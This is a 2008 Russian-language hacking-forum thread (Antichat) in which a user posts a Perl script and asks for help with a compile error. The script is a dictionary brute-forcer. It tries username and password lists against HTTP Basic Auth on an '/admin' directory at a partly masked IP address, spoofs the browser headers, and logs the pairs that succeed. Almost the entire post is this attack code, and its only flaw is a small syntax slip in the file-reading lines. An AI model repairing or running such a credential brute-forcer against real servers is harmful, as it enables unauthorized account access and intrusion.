ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

При компиле эррор :s
  #1  
Старый 19.03.2008, 12:22
Аватар для IIAHbI4
IIAHbI4
Banned
Регистрация: 24.08.2006
Сообщений: 483
Провел на форуме:
3895065

Репутация: 1112
Отправить сообщение для IIAHbI4 с помощью ICQ
По умолчанию При компиле эррор :s

вобщем попытался написать небольшой перловый брут форс для веб формы.Вроде бы всё нормально но при канпеляции выдаёт :

Код:
C:\Documents and Settings\Паныч>perl brut.pl
syntax error at brut.pl line 13, near "=;"
syntax error at brut.pl line 17, near "=;"
Execution of brut.pl aborted due to compilation errors.
что не так в синтаксисе?

Код:
#!/usr/bin/perl 
use MIME::Base64; 
use IO::Socket; 
use POSIX; 
$server="***.***.60.23"; 
$port="80"; 
$dir="/admin"; 
$logfile="sucess.log"; 
$log="now.log"; ### Логфайл, куда пишем статус (что происходит в данную минуту) 
$words="bigdict.txt"; 
$users="users.txt"; 
open(file, "<$words") or die print "$!\n"; 
@pwd_data=; 
$total=@pwd_data; 
close file; ### Записываем все пароли в один массив 
open(file, "<$users") or die print "$!\n"; 
@users_data=; 
$total*=@users_data; 
close file; ### Записываем всех пользователей в один массив 
$i=0; 
foreach $user (@users_data) { 
   foreach $pass (@pwd_data) { 
      $i++; 
      chomp($pass); 
      chomp($user); 
      open(file, ">$log") or die print "$!\n"; 
      $perc=($i*100)/$total; 
      $perc=ceil($perc); ### Высчитываем процент 
      print file "$perc\% Done\t$i of $total\t\tNow: $user\:$pass\n"; ### Пишем в лог статус 
      close file; 
	$auth=encode_base64("$user\:$pass"); ### Создаем Mime-хеш 
      chomp($auth); 	
	### Порождаем сокет 
      $socket=IO::Socket::INET->new( PeerAddr => $server,   PeerPort => $port, Proto => 'tcp', Type => SOCK_STREAM) or die print "Unable to connect to $server:$port\n"; 
      print $socket "GET $dir HTTP/1.1\n"; 
      print $socket "Host: $server\n"; 
      print $socket "Accept: */*\n";    
      print $socket "Referer: http://support.microsoft.com/\n"; 
      print $socket "User-Agent: Internet Explorer 6.0\n"; 
      print $socket "Pragma: no-cache\n"; 
      print $socket "Cache-Control: no-cache\n"; 
      print $socket "Authorization: Basic $auth\n"; 
      print $socket "Connection: close\n\n"; ### Отправляем http-данные + Mime-хеш 

      $ans=<$socket>; ### Получаем ответ от сервера 
    
       
      if ($ans=~/200 Ok/i or $ans=~/301/i) { 
         open(logf, ">>$logfile") or die print "$!\n"; ### пишем в success-лог 
         print logf "$user:$pass is OK!!!\n"; 
         close logf; 
      } 
      close($socket); 
   } 
}
_____________________________________________
maby yes or maby not, а мне по*** я .:ЕноТ:.
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Перехват Gsm пакетов SNIFF Сотовый фрикинг 16 27.12.2009 22:25
Как «растянуть» аккумулятор novichok Сотовый фрикинг 4 28.02.2006 22:47
химия своими руками silveran Болталка 43 11.01.2006 22:05



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ